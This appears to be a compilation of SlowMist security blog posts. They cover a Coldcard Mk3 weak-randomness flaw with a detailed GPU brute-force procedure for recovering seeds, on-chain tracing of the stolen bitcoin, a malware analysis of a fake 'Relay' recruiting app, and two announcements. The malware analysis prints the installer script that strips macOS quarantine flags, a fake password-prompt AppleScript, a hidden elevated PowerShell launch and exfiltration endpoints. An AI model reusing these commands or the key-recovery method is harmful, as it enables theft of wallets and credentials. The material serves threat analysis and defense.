libngu 那一路是编译期常量。0x0a8ce26f 写在 ngu/random.c 里，static uint32_t yasmarang_pad = 0x0a8ce26f, yasmarang_n = 69, yasmarang_d = 233，没有任何运行时输入。它跟 Yasmarang 原版的默认值不一样。原作者 Ilya Levin 的原始默认是 0xeda4baba，MicroPython 的 modurandom.c 里保留的正是原值。Coinkite 在 libngu 里把 pad 换成了 0x0a8ce26f，n 和 d 沿用原版。对攻击者来说，无论原版还是自定义值，都是公开可知的固定常量。这条流可以离线预计算，等于全球所有设备共享同一条 mixer 序列。
真正的变量只剩 rng_get() 兜底实例的 pad = UID ^ SysTick，拆开看是三块。UID 是芯片熔丝里的 96 bit 序列号，固件只取低 32 位，读出格式是 (wafer_Y << 16) | wafer_X。X、Y 是晶圆坐标，Phase A 批次的取值几乎全部落在 0 到 72 区间，最多也就 0 到 255，等效熵大约 14 bit。
SysTick 是 rng_get() 第一次被调用时 SysTick->VAL 的倒计数值。芯片跑在 80 MHz，reload 是 80000，取值在 0 到 79999，等效熵大约 17 bit。
RTC_TR 和 RTC_SSR 是设备刚上电时 RTC 寄存器的值，应用还没初始化它。这两项各自算一个额外枚举维度，取值空间很小。rtc_tr 是 packed-BCD 的 RTC->TR，rtc_ssr 的上限是 MK3_RTC_SSR_MAX，0xFF。我们确认过的全部链上命中向量里，这两项都是 0。
把三块加起来，UID 大约 14 bit，SysTick 大约 17 bit，RTC 两项命中为 0，按键次数再贡献约 5 bit，整个种子生成的真实熵源是 36 到 37 bit。Coinkite 官方说的 about 40 bits，和代码逆向出的搜索空间完全吻合。这是一个 GPU 集群几天就能穷举完的空间。
攻击流程
Mk3 的首次开机，从代码到私钥，会依次经过三种典型的随机模式。攻击者的核心工作，就是在这些模式上分别建模，把 PRNG 的每一次 step 精确复原。
第一阶段 初始状态
设备上电后立刻发生两件事。
到这里，全部"随机性"已经被压进一个 32 bit 的 pad，外加两个可以枚举的小维度。全球 Mk3 的 pad 分布在一个可以穷举的小盒子里。
第二阶段 按键操作
首次开机会强制用户设置 PIN、按 OK 确认条款、在菜单里导航。每一次按键都会触发 shared/mempad.py 的 _start_scan()，其中 shuffle(self.scan_order) 调用三次 _rand_below()。scan_order 的长度等于 NUM_ROWS，也就是 4。shuffle 定义在 shared/random.py，它的 randbelow 直接绑定 libngu 的 ngu.random.uniform，也就是 C 层的 _rand_below。
这些按键消耗必须逐一建模。我们分析 v4.1.9 固件源代码后，确认了三种使用模式。
Profile A 是零售首次启动。接受条款前按两下，settings.save() 在 32 个槽里找空位，排除 my_pos 后剩下 31 个槽，也就是 30 次 _rand_below，然后输入 PIN、导航菜单再按若干次，最后 random_bytes(32) 取熵。
Profile B 是刷机或清空后的首次启动，NVRAM 是空白的。nvstore 先做一次 shuffle(32)，然后 3 槽 × 16 块 × 256 字节的 blanking 以 lockstep 方式消费 3072 步，输出不回流，只推进状态。空白 NVRAM 引导会在这两步之后再多做一次 shuffle(32)，然后按键消耗，最后 my_random_bytes(32)。
Profile C 是纸钱包。纸钱包就是把私钥印在纸上的冷存储方式，离线放着不碰网络，送人礼物或者长期保存都有人用。Coldcard 的 Paper Wallets 菜单专门生成这种可打印的钱包页。它的随机数消费最直接，已有钱包之后再次进入菜单，按键消耗 8 到 25 次，然后 my_random_bytes(32) 直接当作私钥用，连 BIP-39 词表都不走。
第三阶段 种子构造与地址派生
从 random_bytes(32) 到最终的比特币地址，Mk3 走的是这条流水线。
流水线上的每一步都是可复现的确定性函数，三种 profile 通用。攻击者只要把 pad 猜对，后面整条链都能离线重算。
第四阶段 GPU 侧的穷举与命中
攻击者的做法其实很规矩，四步。
第一步，构造候选 pad 集合。晶圆坐标 X、Y 都取 0 到 72，UID 空间大约 5200 个取值，和 SysTick 的 0 到 79999 做笛卡尔积，得到 4.24 亿个候选 pad。这个数字听着大，放到 GPU 上就是几天的事。
第二步，对每个 pad 再枚举按键次数，kpad_b 从 4 到 34。rtc_tr 和 rtc_ssr 的命中都是 0，放最外层当小循环。
第三步，在 GPU kernel 里跑完整种子流水线，sha256、BIP-39、PBKDF2 2048 轮、BIP-32、hash160、bech32。libngu 那条常量流可以离线预计算，kernel 按索引取词，省掉每个线程重复推进常量 PRNG 的开销。
第四步，用一个 hash160 的布隆过滤器或排序数组做匹配，O(log n) 的复杂度，目标是全网的单签 P2WPKH 地址集合。
这套搜索的代价可以量化。Apple M1 GPU 单机跑 Phase A 空间，72 乘 72 的 UID、8 万种 SysTick、31 种按键次数，大约 148 亿个候选，耗时约 8.6 天。数据中心级的 A100 集群，同样的空间压到数小时。Mk4、Mk5、Q 上大约 72 bit 的空间比 Mk3 高 2 的 32 次方倍，但漏洞同源，profile 建模思路一样，差别只是爆破器从单机换到集群、时间从数天拉到数周，这个成本攻击者依然愿意付。这也是它们同样出现在受害清单里的原因。
MistTrack 分析
本次事件涉及的资金规模较大，目前已有多方团队对该事件展开链上分析。本小节主要结合 Galaxy Research 已公开披露的数据以及慢雾在事件跟进过程中收集到的求助数据进行梳理。以下分析主要基于目前可观测的链上数据，后续如有新的地址或流向被识别，我们也将持续更新。
Wave 1
bc1qc779m8gec84k3t0ffvu0pps94zheht7lr7ueyn
该地址总收入 398.4859 BTC，均转入地址 bc1qx76cae2706qd5q576feh7xq8rfcsjpf2htfhe3：
目前地址 bc1qx76cae2706qd5q576feh7xq8rfcsjpf2htfhe3 余额 398.4759 BTC：
bc1qh0l7q0mca3ln7wsl9luwns0jc9jhgrtft025l4
该地址总收入 0.7732 BTC，均转入地址 bc1q8jy96fe5lf8vfugydnte3cguk92gpev7kwtp3q：
bc1qdaarag7729c2n4l2wnyt3hkhfpcs66n98z7uuh
该地址总收入 88.8505 BTC，均转入地址 bc1q8jy96fe5lf8vfugydnte3cguk92gpev7kwtp3q：
目前地址 bc1q8jy96fe5lf8vfugydnte3cguk92gpev7kwtp3q 余额 89.6233 BTC：
bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0
该地址总收入 594.4773 BTC，目前余额 32.4506 BTC，其余 562.0267 BTC 均转入地址 bc1qq85v2c926eg6pgxhwp6q7lf6cnsz80qs3fcu9r：
目前地址 bc1qq85v2c926eg6pgxhwp6q7lf6cnsz80qs3fcu9r 余额 562.0214 BTC：
Wave 2
bc1qsjrf5ze5tmulz7y2x4pc7qaex2a35sanp3rqlx
该地址总收入 45.9067 BTC，均转入地址 bc1qtfrwa4j6rmj9rsgspv6a0yjumkg39js2numu75：
目前地址 bc1qtfrwa4j6rmj9rsgspv6a0yjumkg39js2numu75 余额 45.9025 BTC：
bc1qmd5m5ktv7m5ffujxv4248fxv36myvdx79n8jp6
该地址总收入 30.1848 BTC，均转入地址 bc1qez89sph5tgghmf36u79hq62h8n2xqqka05dt6n：
目前地址 bc1qez89sph5tgghmf36u79hq62h8n2xqqka05dt6n 余额 30.1846 BTC：
Wave 3
Wave 3 涉及约 293 个 P2WSH 类型的 Vault 地址，其中 1 Park 对应 1 个 P2WSH Vault。目前这些 Vault 地址中的资金均未发生转出，涉及金额合计约 207.73 BTC。
Wave 4
bc1q0rvn88w08j75k4h48lf9fvhan7unjp7vjf5q6m
该地址总收入 64.9037 BTC，已转入 Wasabi Wallet：
其他公开提到的相关地址
bc1p0l0xs2a0ffn2d9pek28k3vm9rjr2p0c5hvdlu03gpdwgzdgpscnq6qlk0h
该地址总收入 17.6709 BTC，其中 4.4372 BTC 转入地址 bc1prjnvz77lhd3t6kdxt34x4yzgwu4qfdgyges8h6qhwldj60z5mcqs7pprpr 暂未转出；剩余 6 BTC 通过 THORChain 兑换为 204.7 ETH 并跨链到以太坊地址 0x41b7529a411eea979a8d468bdebd36b0ad703268：
目前地址 0x41b7529a411eea979a8d468bdebd36b0ad703268 余额 4.7073 ETH，且已将 200 ETH 转入 Tornado Cash：
MistTrack 将持续监控上述相关地址及后续资金流向，并根据链上资金异动情况更新分析。
总结
把整条链串起来看，一次构建配置和一层移植兜底叠加，把本该由硬件 TRNG 提供的随机性，压成了 32 到 72 bit 的软件 PRNG。Coinkite 在 24 小时内推出修复固件，销毁漏洞版本库存，暂停数据清除来配合执法，反应速度值得肯定。
但已经生成的旧种子，固件更新救不回来。随机性在生成那一刻就定死了，补丁只能保证新种子走对路。受影响的人要先把设备升到修复版本，重新生成种子，转一小笔钱测试，确认地址没问题，再迁移全部资金。旧设备先留着，后续调查可能还要用到。

近日，慢雾科技(SlowMist) 与 AgentOn 正式达成战略合作伙伴关系，双方将围绕 AI Agent 安全能力建设、安全评估体系及生态实践展开合作，共同推动 AI Agent 生态向更加安全、可信的方向发展。
背景
随着 AI Agent 从 Demo 逐步走向真实场景，Agent 的安全问题正在成为整个行业最关注的话题。相比传统 Web3 产品，AI Agent 拥有调用工具、访问数据、管理钱包、执行交易等能力，一旦出现安全问题，影响范围更大。
慢雾科技(SlowMist) 作为全球领先的区块链安全公司，长期深耕智能合约安全、钱包安全、威胁情报等领域，并持续关注 AI Agent 时代的新型安全挑战。
AgentOn 致力于构建开放式 AI Agent Marketplace，推动 AI Agent 的创建、发现与应用，为开发者和用户提供 AI Agent 生态服务。
此次双方达成战略合作，将结合慢雾(SlowMist) 在安全攻防、风险检测及威胁研究方面的实践经验，与 AgentOn 在 AI Agent 生态建设方面的应用能力，共同探索适用于 AI Agent 发展的安全基础设施。
合作内容
1. AI Agent 安全能力建设
随着 AI Agent 应用场景不断扩展，其攻击面已逐渐从单一模型风险延伸至基础设施层、协议/工具层、行为层和模型层。由于不同层级之间存在交互关系，威胁在不同层之间传播并放大。
因此，AI Agent 的安全检测需要覆盖从开发、部署到运行阶段的完整生命周期，而非局限于单一环节。
在本次合作中，双方将共同探索 AI Agent 生命周期中的安全能力建设，覆盖 Agent 上线前检测、运行时风险治理以及持续安全监测等关键环节。
慢雾(SlowMist) 将结合自身在 Web3 安全、威胁情报及风险检测领域的经验，针对 AI Agent 核心攻击面进行深入分析，并根据 OWASP Top 10 for Agentic Applications，构建面向 AI Agent 场景的风险识别能力，重点关注 Agent 目标劫持、工具误用与利用、身份与权限滥用、Agent 供应链漏洞、非预期代码执行、记忆与上下文投毒、不安全的 Agent 间通信、级联失败、Human-Agent 信任利用以及恶意 Agent 等关键安全风险。
同时，慢雾(SlowMist) 将结合实际攻击场景和安全研究经验，从凭证与密钥安全、Prompt Injection 防护、危险命令与代码执行、数据外泄防护、权限与供应链安全以及审计与可观测性六大维度提供 AI Agent 安全检测能力，帮助 AgentOn 生态中的开发者识别潜在安全风险，并推动安全能力融入 Agent 的创建、发布及运行全过程。
2. AI Agent 安全认证体系探索
随着 AI Agent 生态不断发展，建立透明、可靠的安全评估与认证机制，将成为推动行业健康发展的重要基础。
此次合作中，双方将共同探索 AI Agent 安全认证体系建设，围绕不同类型 Agent 的应用场景、安全能力及风险特征，逐步完善相应的评估标准与认证机制。
通过安全认证体系探索，帮助开发者展示自身 Agent 的安全能力，同时帮助用户更便捷地识别具备安全保障能力的可信 Agent。认证标准将根据不同 Agent 类型及实际应用需求持续完善，而非一次性制定统一规范。
3. AI Agent 安全生态建设
除技术能力建设外，双方还将围绕 AI Agent 安全生态推广、行业交流及开发者生态建设展开合作，包括联合输出 AI Agent Security Best Practice，开展技术分享与交流活动，参与行业大会及开发者生态活动等。
通过安全实践分享、行业交流与生态合作，双方将共同推动 AI Agent 安全理念的发展，促进安全能力在 AI Agent 生态中的进一步落地。
关于 AgentOn
AgentOn 是由 ME Group 孵化的 Agent 自动赚钱平台，致力于构建一个由 AI Agent 与人类共同参与的任务协作网络，让 Agent 能够自主工作、执行任务并获得真实链上奖励。
关于慢雾(SlowMist)
慢雾科技是一家专注区块链生态安全的威胁情报公司，成立于 2018 年 1 月，由一支拥有十多年一线网络安全攻防实战经验的团队创建，团队成员曾打造了拥有世界级影响力的安全工程。慢雾科技已是国际化的区块链安全头部公司，主要提供“由 AI 驱动、从威胁发现到威胁防御一体化、因地制宜”的安全解决方案，服务全球众多头部及知名的项目，已有商业客户上千家，客户分布在十几个主要国家与地区。

背景
近日，MistEye 监测到一起以招聘为诱饵、针对 Web3 从业者的窃密攻击活动。攻击者冒充 招聘人员对接求职者，沟通面试事宜后，诱导目标跳转至 relay.lc 开展线上沟通。
该网站把自己包装成一款名为 Relay 的 AI 会议协作工具，宣称能够提供实时转写、协作笔记、AI 摘要、行动项和跨平台客户端等功能。对正在参加远程面试的人来说，这套说辞并不突兀：为了进入下一轮沟通而安装一款“会议软件”，看起来只是招聘流程中的普通准备。relay.lc 的公开页面也确实围绕这些功能构建产品形象，并提供 Windows 与 macOS 下载入口。
在 Mac 上，用户被要求打开 Terminal，把下载的文件拖进去，再按下回车。在 Windows 上，用户只需双击安装包，等待一条"Updating"进度缓慢走到 80%。一个动作看起来像手动安装，另一个动作像普通更新。
但拆开两份安装包后——macOS 这边镜像内根本没有正常的 .app 应用，真正要执行的程序藏在 Finder 默认不显示的 .back 隐藏目录中。Windows 这边，显示更新进度的界面代码里，进度数值并不是根据真实的下载或安装任务计算出来的；进度走到 80% 时，代码发送的也不是"更新完成"，而是一条名为 runUpdate 的内部消息。更可疑的是，在负责控制应用主逻辑的编译代码中，这条消息名和一段“请求管理员权限、隐藏窗口启动 updater.exe”的 PowerShell 命令放在了一起。不过，消息到命令之间的衔接代码目前还没有从编译后的中间代码中完整还原出来。
分析范围说明： 本文对两份样本的技术分析全部基于文件拆解、原始数据解码和代码反汇编后的交叉比对完成。分析过程中未运行任何样本，也未连接样本内嵌的远程地址。
MistEye 响应
MistEye 是由 SlowMist 自主研发的 Web3 威胁情报与动态安全监控系统，集成了安全监控与情报聚合能力，为用户提供实时的风险预警与资产守护。
上述社区线索进入调查后，MistEye 对 relay.lc 站点触发高危告警。SlowMist 安全团队随后对两份安装包开展源码级复核。
以下为详细技术分析。
macOS
镜像里没有正常应用
Relay.dmg 是 macOS 上常见的磁盘镜像格式，正常软件通常会把它做成拖入"应用程序"文件夹就能用的 .app 应用包。但打开这份镜像后，里面只有以下几个文件：
/Volumes/Relay/
├── Installer.file # 921 字节 shell 脚本
├── Open Terminal # 指向系统 Terminal.app 的链接
├── .back/
│ └── installer # 5.2 MB 通用可执行程序，真正要运行的代码
└── .fseventsd/
没有 .app 应用包，没有标准 .pkg 安装器。Open Terminal 只是一个指向系统自带 Terminal 程序的链接。真正要运行的程序被放在 Finder 默认不显示的 .back 隐藏目录中。
“拖进Terminal”不是安装步骤
Installer.file 的脚本内容如下：
cp -r "$APP_PATH" "$TEMP_APP"
xattr -c "$TEMP_APP"
chmod +x "$TEMP_APP"
nohup /tmp/installer &>/dev/null &
四行代码依次做了四件事：把隐藏目录里的程序复制到系统临时目录 /tmp；清除这个副本上的扩展属性；给它加上可执行权限；清屏后在后台静默运行。脚本的注释里甚至还写了一段"为什么不用 Apple 官方签名和公证流程"的解释，理由是"减少复杂性"和"保持简单透明"。
这里需要解释一下 macOS 的安全机制：从互联网下载的文件会被系统自动打上一个"隔离"标记（扩展属性之一），当用户首次打开时，macOS 会弹出提示确认文件来源。xattr -c 的作用就是把这个标记清除掉。它没有利用系统漏洞——整个过程是用户自己打开 Terminal、自己执行脚本，然后脚本替用户把本地副本上的来源标记擦掉了。用户以为自己在“手动安装”，实际上亲手关掉了一道系统原本设置的安全提醒。
代码同时准备候选密码和 Keychain 材料
隐藏的可执行程序内部，大量关键字符串被一段固定密钥做了简单编码——就像把所有敏感文字用同一个密码本转成了乱码，防止被人用普通的文字搜索工具直接看到。从这些编码字符串中恢复出的关键发现包括两组远程地址——https://e1.cdnresolver.com/m/test 和 https://a2.cdnresolver.com/m/test——以及一段伪造系统错误提示的 AppleScript 对话框脚本：
display dialog "The current version of the app is not fully
compatible with your version of MacOS.
For the app to work correctly please, enter password of your
system." with title "Application Error" default answer ""
with icon caution buttons {"Continue"} default button "Continue"
with hidden answer
这段脚本以“Application Error”为标题，谎称应用与当前 macOS 版本不兼容，要求用户输入“系统密码”（system password）。with hidden answer 会让输入框显示为圆点，看起来像系统在请求授权——但它只是一个普通的 AppleScript 对话框，不是真正的系统授权窗口。
代码会把对话框返回值拼接在 PWD: 标签后，准备通过网络发送。与此同时，代码还实现了读取 ~/Library/Keychains/login.keychain-db 文件的功能——这是 macOS 用来存储用户各类密码的"登录钥匙串"数据库。代码中解出的三个字段揭示了它的意图：
{
"passw": "<对话框返回的候选密码>",
"file": "<login.keychain-db 读取结果>"
}
代码将这两项数据放入了一个指向 db/debug 的网络请求中。macOS 登录钥匙串的解锁密码通常和用户登录密码一致。将候选密码和钥匙串数据库配对放入同一待提交请求——相当于既准备钥匙，也准备锁芯——拿到材料的人可以在自己的环境里尝试用候选密码去解锁这份钥匙串文件。
浏览器、扩展、Telegram 与 Notes 的读取逻辑
除了钥匙串，这份程序中还实现了读取 Chrome、Brave、Edge、Arc 等浏览器数据的逻辑——包括已保存的网站密码、Cookie（登录状态凭证）、服务 Token（授权令牌）、信用卡号、自动填充记录和浏览历史。代码中还内置了一份包含 304 次引用的扩展映射表，覆盖 286 个不同的扩展 ID，目标包括 MetaMask、Phantom、Trust Wallet 等加密钱包和 1Password、LastPass、Proton Pass、Dashlane 等密码管理器。
应用数据方面，代码解码并引用了 Telegram Desktop 的 tdata 路径——该目录包含本地会话和登录状态数据，成功复制后可用于在另一台设备上恢复并接管 Telegram 账号（相关机制详见《TG 账号失守、钱包被调包，macOS 木马如何突破防线？》）。Apple Notes 脚本按账户、文件夹和笔记逐层遍历，读取笔记正文，并写入以标题命名的 .html 文件。若用户曾在 Notes 中保存助记词、恢复码或 API Key，这些内容也可能落入该处理范围。系统信息方面，代码中存在硬件 UUID（设备唯一标识）、IP、国家字段以及对 Ledger Live 和 Trezor Suite 这两个硬件钱包管理软件是否安装的探测逻辑。
Terminal 关闭后仍可能运行，但未发现重启后自动启动的机制
检查了 LaunchAgent、LaunchDaemon（macOS 的开机自启服务配置）、launchctl（管理这些服务的命令）、cron（定时任务）和登录项等相关痕迹后，在可恢复内容中未发现重启持久化机制。启动脚本中的 nohup 可以让程序在 Terminal 窗口关闭后继续运行，但系统重启后不会自动恢复。从代码组织看，它更接近在一次运行中尽量完成读取、打包和网络发送。
与此不同，Windows 那边的代码实现了三类不同的重启自启动尝试——在注册表的 Run、RunOnce 键值和“启动”文件夹中同时写入入口——之后进入扩展进程内存扫描逻辑。
Windows
用户看到的是“Updating”，代码运行的是一段随机倒计时
Windows 安装包的外层是 NSIS（一种 Windows 安装包制作工具）打包的自解压程序，解压后是一个用 Electron 框架（一种用网页技术构建桌面应用的工具）做成的程序，版本号 2.9.0。负责显示界面的代码定义了 RELAY 品牌名和一条不断前进的"Updating"进度条。伴随进度切换的状态文字——“正在加载核心组件”“正在校验本地文件”“正在启动后台服务”——看起来像是在执行正常的更新任务。
但界面代码直接证明了这条进度条跟任何下载、校验或安装任务都没有关系：
进度值从 4 开始，每 1.4 秒随机增加一个大于等于 0、小于 12 的数值。6 次增加不可能达到 80，第 7 次开始才可能触发，因此名义最快时间约 9.8 秒。但随机增量可能每次都接近 0，代码也没有设置最大轮数上限，所以静态分析给不出最慢时间。状态文字由 Math.floor(next / 20) 机械切换，跟后台任务的实际状态毫无关系。进度走到 80 后，进度条停住，代码发送一条名为 runUpdate 的内部消息
80% 之后，代码尝试以管理员权限启动另一个程序
进度到 80% 后，runUpdate 消息被发送。负责应用主控逻辑的代码中，同时存在接收这条消息的模块、updater.exe 的文件路径，以及一段 PowerShell 命令：
powershell -NoProfile -ExecutionPolicy Bypass -Command
"Start-Process -FilePath '<resources\updater.exe>'
-Verb RunAs -WindowStyle Hidden"
这条命令为该 PowerShell 进程设置了三个参数——ExecutionPolicy Bypass（跳过脚本执行策略检查）、-Verb RunAs（请求 UAC 提权）、-WindowStyle Hidden（请求隐藏该进程自身的窗口）。updater.exe 是一个约 116 MB、无数字签名的程序，其自身配置也声明了需要管理员权限。
updater.exe 内部编译了与浏览器、Telegram、桌面钱包和系统信息采集相关的代码模块及目标字段。它还内嵌了一个更小的独立程序，专门负责配置重启自启动，以及打开 Chrome 和 Brave 扩展进程扫描内存。
主路径先尝试持久化，再扫描进程内存
updater.exe 内嵌的这个程序，内部模块名叫 callsoul。它的主流程中实现了三类重启自启动的配置：尝试把自身复制到 %APPDATA%\Microsoft\Windows\Libraries\Service\sysupdwin.exe，并设置隐藏+系统属性（让文件在资源管理器中默认不可见）；随后分别尝试在 Windows 注册表的 Run 键值、RunOnce 键值（这两个都是 Windows 用来设置开机自动运行程序的位置）以及“启动”文件夹中创建入口，注册表值名和快捷方式名都伪装成“WindowsSysUpdateCheck”和“Windows Update”。代码同时尝试这三个独立入口——任意一个配置成功，重启后程序都有可能自动运行。
在主路径中，持久化函数调用之后是 Chrome 和 Brave 扩展进程的内存扫描逻辑。
跨进程读取扩展内存，定位钱包解锁相关参数
它实现了一条区别于普通浏览器窃密工具的代码路径。它不只是去读浏览器本地存储的数据文件，还包含打开 Chrome 和 Brave 扩展进程、扫描其内存中特定内容的逻辑：
1. 遍历系统中所有正在运行的进程，筛选出名字里有 chrome 或 brave、且启动命令行里有 extension-process（扩展进程标记）的进程；
2. 以 OpenProcess(0x410)（请求读取进程内存的权限）打开目标进程；
3. 通过 VirtualQueryEx 逐段查询目标进程的内存布局；
4. 对状态为“已提交”（MEM_COMMIT）且具备可读保护属性的虚拟内存区域，调用 ReadProcessMemory 把内存内容读出来；
5. 在读出的内容中搜索 syncPasswordAndUnlockWallet（“同步密码并解锁钱包”——浏览器钱包扩展中与解锁操作相关的方法名）；
6. 在命中的位置附近，用正则表达式提取 JSON 数据结构中 params 数组的第一个参数。
提取到的参数会被组装为：
{
"h": "<机器 GUID>",
"v": "<从扩展进程内存提取的值>",
"b": "chrome 或 brave"
}
其中 h 是当前 Windows 安装实例的标识（从注册表 MachineGuid 读取），v 是从内存中捕获到的参数值，b 标记它来自 Chrome 还是 Brave。随后，代码调用 HTTP 请求库，将上述 JSON 作为请求体，尝试向 https://e1.cdnresolver.com/lk/p1 发起 HTTPS POST 请求。
Sentry 遥测：另一个网络出口
这个程序还配置了 Sentry（一种开发者用来监控软件运行错误的云服务）的连接地址，并在多个逻辑分支中调用了 Sentry 的上报函数——包括发送自定义消息、捕获异常等。上报的上下文信息中包含 MachineGuid、进程 ID、浏览器标识以及 Init、Conn、Success 等阶段标签；在 POST 结果处理的分支中，包含 h/v/b 的数据结构也会被放入 Sentry 的上报内容中，意味着 v 字段同样参与了这一路网络出口。
主要的敏感参数 POST 路径仍指向 cdnresolver.com。Sentry 这一路更像是开发者监控自己软件的运行情况——区别在于，这次被监控的是一个木马。
值得一提的是，macOS 样本解出的远程地址中也包含 e1[.]cdnresolver[.]com（另有 a2 作为候选）。两份来自同一网站、使用完全不同技术栈的安装包，最终指向了完全相同的主机名。
Windows 代码中的 FYMeet 线索
在 Windows 样本的主进程 V8 字节码中，存在一个与当前品牌 Relay 不一致的编译常量：
com.fymeet.app
同时，样本中的自复制目标文件名 sysupdwin.exe 和注册表值名 WindowsSysUpdateCheck 也与 Relay 的品牌命名无关。
2026 年 6 月，一名求职者曾公开自述：在安装 fyMeet.exe 后，观察到 sysupdatewin.exe 和 sysupdwin.exe 进程以及开机启动行为。这与当前样本中的进程文件名存在重合。由于没有 FYMeet 原始样本，目前只能确认名称重合，不能判断样本血缘、组件复用或操作者。
总结
一条社区线索把调查引向了 relay.lc。这个网站为 macOS 和 Windows 用户分别准备了截然不同的进入方式，而两份安装包在代码层面实现了两种互补的敏感信息采集逻辑。
攻击链按平台使用习惯分别设计入口。 macOS 版本利用“拖入 Terminal”这一被包装成便捷安装方式的交互，引导用户执行会清除本地副本来源标记并尝试启动隐藏程序的脚本。Windows 版本使用随机进度条制造等待窗口（最快约 9.8 秒触发，但源码未设置最大时长），进度到 80% 后发送 runUpdate 消息；字节码中同时存在请求管理员权限的 PowerShell 命令和无签名 updater.exe 的路径常量。
两条链处理敏感材料的方式不同。 macOS 代码构造伪系统错误框索取密码，同时实现读取登录钥匙串文件的逻辑，将候选密码和钥匙串文件配对放入待提交请求中。Windows 代码则尝试建立重启自启动机制，随后扫描 Chrome 和 Brave 扩展进程内存，搜索 syncPasswordAndUnlockWallet 相关消息并提取参数，经 h/v/b JSON 结构尝试 POST 至 e1[.]cdnresolver[.]com/lk/p1。
代码能力指向的风险范围远超单一钱包。 浏览器会话、密码管理器、钥匙串、Telegram 本地数据、Notes 内容和系统信息的读取逻辑或模块线索，意味着一次感染可能从个人设备扩散至组织账号。
建议
若仅下载、未执行：
1. 删除下载的 DMG 或 EXE 文件，清空废纸篓。
2. 在网关、DNS 和 EDR 中封禁本报告列出的域名与哈希。
3. 仅“下载”并不等同于凭据已泄露，是否执行是关键分界点。
若已执行 macOS 样本（拖入 Terminal 并回车）：
1. 立即断开网络连接，但不要先重启，以便保全取证证据。
2. 从干净设备修改 macOS 登录密码和 Apple ID 密码。
3. 轮换 Keychain 中保存的高价值密码、API Key、SSH 和云凭据。
4. 撤销所有浏览器登录会话（不只是修改密码），终止 Telegram 其他会话。
5. 若在弹窗中输入过密码，应按登录密码与 Keychain 均已面临泄露风险的最坏情形处置。
6. 若使用过浏览器钱包扩展，应从干净设备创建全新助记词或私钥的钱包并迁移资产。
7. 检查 ~/Documents/Downloads/data/ 目录和 telemetry2.zip 是否存在。
若已执行 Windows 样本：
1. 立即断网隔离主机，不要在感染主机上继续输入任何密码或解锁钱包。
2. 排查并隔离 %APPDATA%\Microsoft\Windows\Libraries\Service\sysupdwin.exe。
3. 清除 Run、RunOnce 中的 WindowsSysUpdateCheck 值和 Startup 中的 Windows Update.lnk，但应先保留取证证据。
4. 在干净设备上修改浏览器保存的密码、撤销会话、吊销 API Token 和云凭据。
5. 若使用过浏览器钱包扩展，应假设钱包解锁相关敏感参数已面临泄露风险，从干净设备迁移资产。
6. 对确认执行过样本的 Windows 系统，最稳妥的恢复方式是重装系统。
以上建议基于已确认的代码能力所做的最坏情况防御性假设。Windows 程序会扫描扩展进程中已经存在或之后出现的参数，Cookie 和 Token 也可能在会话有效期内被复用，因此处置不应只关注是否发生链上资产变化。
IOC
域名
relay[.]lc
e1[.]cdnresolver[.]com
a2[.]cdnresolver[.]com
cdnresolver[.]com
URL
https[:]//e1[.]cdnresolver[.]com/m/testhttps[:]//a2[.]cdnresolver[.]com/m/testhttps[:]//e1[.]cdnresolver[.]com/lk/p1
恶意文件
filename: Relay.dmg
SHA256: 6bc9378366076a028365ecff61ab868fe51bf988c18588c29c393a5488eafe0c
filename: Installer.file
SHA256: 271ed218b2a3fddd38529c3730491078a7737afa5f78b873592a2946fb86ab2e
filename: installer
SHA256: e434755827e48f4e0693c83aa51b99e4600d5b0e625da1e80963b783a78de070
filename: Relay.exe
SHA256: 4a7ef5aec036dc7cff3eeece774caa2500bcd9f3d7712799637dab2645dfc265
filename: updater.exe
SHA256: 64fa024e0563eb6fa06cb6437c76a652021a93dff78979496b4b005e61639e78
filename: callsoul.exe
SHA256: cd7500d51c200fe0493f16d8870d79359faf9ba9b121d453b28f871ec252579d
关于 MistEye
MistEye 是由 SlowMist 自主研发的 Web3 威胁情报与动态安全监控平台，通过 API 提供开源包生态的恶意活动检测与供应链风险预警能力。
本次行动涉及的全部恶意包及 IOC 已接入 MistEye 威胁检测引擎，开发者可通过 API 对项目依赖进行自动化检测，快速判定是否命中已知恶意包并获取处置建议。
📖 API 文档：https://app.misteye.io/api-docs
🛠️ MistEye-DepScan：https://github.com/slowmist/MistEye-DepScan轻量级 CLI 工具，一行命令扫描项目依赖与全局安装包中的已知恶意包，支持 npm / PyPI / Cargo / Go / RubyGems 生态
🛠️ MistEye-Skills：https://github.com/slowmist/misteye-skillsAI 编码助手安全技能包，在依赖安装与 URL 访问前自动触发 MistEye 安全检测
🛠️ MistEye-DNS-Guard：https://github.com/slowmist/MistEye-DNS-Guard
DNS 安全防护工具，检测恶意域名与风险访问，阻断钓鱼、C2 等网络威胁
本文由 SlowMist 威胁情报团队结合 MistEye 威胁情报系统、SlowMist Agent AI驱动分析编写，有任何问题欢迎咨询反馈。

慢雾安全团队正式发布 MistEye DNS Guard：一款使用 Rust 编写的轻量级本地 DNS Relay 与威胁观察工具，面向 macOS 和 Linux 主机提供系统 DNS 接管、域名与公开 IP 检测、进程外联观察、恶意事件留存及 Webhook 告警能力，重点覆盖恶意域名访问、DNS 响应返回恶意指标、程序直连恶意 IP 等常见风险场景。
MistEye DNS Guard 将 DNS 转发与后续威胁检测相互解耦：查询照常完成，域名与 IP 在后台异步进入 MistEye 检测，尽量减少安全检测对正常网络访问的影响。
用户无需部署数据库或消息队列：下载预编译程序，准备一份 TOML 配置即可运行；网页控制台内嵌在主程序中，观察记录、检测队列和恶意事件由本地 SQLite 保存。它既可以临时用于排查，也适合留在开发机、测试机或服务器上持续观察。
一、背景：主机网络风险，往往先留下域名与外联 IP 线索
浏览器访问网页、命令行下载依赖、桌面软件检查更新、后台服务连接远端接口，通常都要先完成域名解析，因此 DNS 往往是观察主机网络活动的重要入口。
但风险线索并不只存在于 DNS 中。有些程序会绕过域名解析，直接连接硬编码的公网 IP；即使已经发现陌生 IP，后续仍需要确认由哪个进程、哪个 PID 发起，以及连接到了哪个端口。
在日常开发和办公环境里，这些线索并不容易被持续看见。
• 系统日志通常不会完整保留每一次 DNS 查询和进程外联；
• 抓包适合专项分析，却不适合在普通主机上长期运行；
• 只看域名，无法覆盖程序绕过 DNS、直接连接公网 IP 的情况；
• 只看到陌生 IP，也不一定能快速确认对应的进程和可执行文件；
• DNS、检测 API 或告警服务短暂故障时，未持久化的观察任务容易丢失。
更现实的问题是，很多人只有在浏览器弹出异常页面、账号出现异动，或者主机明显变慢后，才开始回头寻找网络证据。此时再问“刚才访问过什么”，往往已经缺少连续记录。
